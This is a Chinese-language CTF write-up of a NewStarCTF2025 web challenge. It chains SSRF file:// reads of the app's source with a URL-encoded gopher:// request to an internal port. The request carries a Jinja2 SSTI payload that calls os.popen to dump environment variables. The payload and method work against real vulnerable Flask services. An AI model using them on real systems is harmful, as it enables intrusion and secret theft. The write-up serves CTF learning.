NewStarCTF2025-Week4-Web-ssti在哪里?-ssrf与ssti注入
NewStarCTF2025-ssti在哪里?-ssrf与ssti注入
好久不见各位,笔者前段时间花了10天时间学习c++,备赛码蹄杯,所以很久没有产出。
此题还是之前做的,没写完笔记,于是乎,今日更新。
笔者大一小白一个,从未参加过这种竞赛,犯了规(蓝牙鼠标,提前在编译器写了快些快读代码)
本来也没写出几道题,还好没写出哈哈哈哈哈哈哈
进入正题:
知识点:
1.flask的app.py启动文件

2.SSTI(Server-Side Template Injection,服务端模板注入)
3.SOCK_STREAM
指基于TCP协议、提供面向连接可靠数据传输的Socket类型,属于BSD Socket API的核心组件 [1]。
它通过socket()函数创建,需将type参数设为SOCK_STREAM,并常配合IPv4(AF_INET)或IPv6(AF_INET6)地址族使用,广泛应用于C语言网络编程中。
注意:TCP 通信要求每一行指令必须以 \r\n (也就是 %0d%0a) 结尾。需要处理最底层的换行符编码。
4.gopher 协议
Gopher(网际Gopher协议)是互联网早期基于文本的信息查找系统,由美国明尼苏达大学于1991年设计并命名,名称源自该校“金色地鼠”运动队的俚语缩写。其核心功能为通过层叠菜单结构组织文件索引,支持检索文本文件、远程登录(Telnet)等类型的信息资源。
->
Gopher 本质上是 “互联网早期的资源索引协议”。
- 它诞生于 1991 年,旨在将服务器上的文档和目录整理成一个菜单,供客户端读取。
- 协议特性: 它是一个基于文本的、行导向的协议。用户通过浏览器输入“gopher://”格式的URL即可连接服务器,发送请求,服务器返回菜单或文件内容。
为什么要用它?
协议透明度: HTTP 协议规定了繁琐的头信息(Header),如果格式不对,Web 服务器会直接拒绝。
而 Gopher 协议不关心你发的内容是什么,它允许你在 TCP 数据流中插入任意字符,包括换行符(\r\n)。
**对 TCP 的直接操控:**TCP 通信的最小单位是字节流。
大多数协议(如 Redis、MySQL)都是基于“换行符”来判断指令结束的。通过 Gopher,你可以通过 %0d%0a 手动伪造出一行行合法的 Redis 指令。
5.SSRF(Server-Side Request Forgery:服务器端请求伪造)
思路:
访问目标网页->等价于访问目标文件->等价于url任意文件读取

1.读取app.py
url:file///app/app.py
1 | from flask import Flask, request |
2.读取internal_web.py
url: file:///app/internal_web.py
1 | 访问结果: |
分析:
1.request.form.get('template', 'Hello World!')是什么
request.form:在 Flask 中,
request.form用来获取 POST 请求 中(Content-Type:application/x-www-form-urlencoded或multipart/form-data)提交的数据。代码中的
.get(): 一个方法,用来安全地获取键值。- 意思是:去请求表单里找
template这个字段。 - 如果找到了,就用用户提供的值。
- 如果**没找(或者用户根本没传),就默认使用
'Hello World!'这个字符串。
- 意思是:去请求表单里找
3.读取secret.py找到端口号

1 | port_num=60024 |
攻击构造
目标是通过gopher协议,我们向60024端口发送请求包,然后它收到请求后会直接把响应包给我们
请求包构造的template参数传入ssti的payload
1.选择攻击协议:
- 由于目标漏洞点在 POST 参数
template中,普通的http://协议很难构造复杂的 POST 报文。 - Gopher 协议 被称为“万能协议”,它允许我们自定义整个 TCP 流量包。它是 SSRF 向内网发送 POST 请求的最佳武器。
2.构造 HTTP 报文:
1 | POST / HTTP/1.1 |
3.ssti绕过与 Payload 编码:
- 逃逸对象链:
- 为了获取环境变量(Flag 所在处),需要从 Flask 的内置对象寻找通往系统命令的路径。
config.__class__.__init__.__globals__['os']它利用config对象回溯到 Python 的全局命名空间,从而获取os模块来执行系统命令。
- 编码处理:
- Gopher 协议要求对所有特殊字符(如换行符
%0D%0A、空格、括号)进行 URL 编码。
- Gopher 协议要求对所有特殊字符(如换行符
->Payload: url=gopher://localhost:60024/_POST...template={{config...}}
Payload:
1 | url= |
1 | url=gopher://localhost:60024/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20localhost%3A60024%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2076%0D%0A%0D%0Atemplate%3D%7B%7Bconfig.__class__.__init__.__globals__%5B%27os%27%5D.popen%28%27env%27%29.read%28%29%7D%7D |
知识点补充:
在构造 Gopher 协议或进行 Web 渗透测试时,除了最关键的换行符 %0D%0A,其他符号也需要根据 URL 编码(Percent-encoding) 的规则来转换:将字符的 ASCII 码十六进制值 前面加上一个 %。
| 符号 | URL 编码 | 说明 |
|---|---|---|
| 空格 | %20 或 + |
HTTP 请求行和参数间的分隔 |
/ |
%2F |
路径分隔符(如 POST / HTTP/1.1) |
: |
%3A |
Host 和端口之间的冒号 |
? |
%3F |
GET 请求的参数起始符 |
= |
%3D |
参数名和值的分隔 |
& |
%26 |
多个参数之间的连接符 |
{ |
%7B |
SSTI 必须的左花括号 |
} |
%7D |
SSTI 必须的右花括号 |
[ |
%5B |
Python 字典或列表索引(如 ['os']) |
] |
%5D |
Python 字典或列表索引 |
' |
%27 |
单引号(Python 字符串) |
" |
%22 |
双引号 |
( |
%28 |
函数调用(如 popen() |
) |
%29 |
函数调用结束 |
. |
%2E |
对象属性访问(如 config.class) |
\* |
%2A |
乘号或通配符 |
关于换行
它是两个特殊字符(控制字符)的组合:
%0D(CR - Carriage Return):十六进制是0x0D,对应 ASCII 码里的 “回车”,作用是将光标移到行首。%0A(LF - Line Feed):十六进制是0x0A,对应 ASCII 码里的 “换行”,作用是将光标移到下一行。
在 Windows 系统和 HTTP 协议规范 中,必须同时使用这两个字符 \r\n(即 %0D%0A)来表示一个完整的换行。

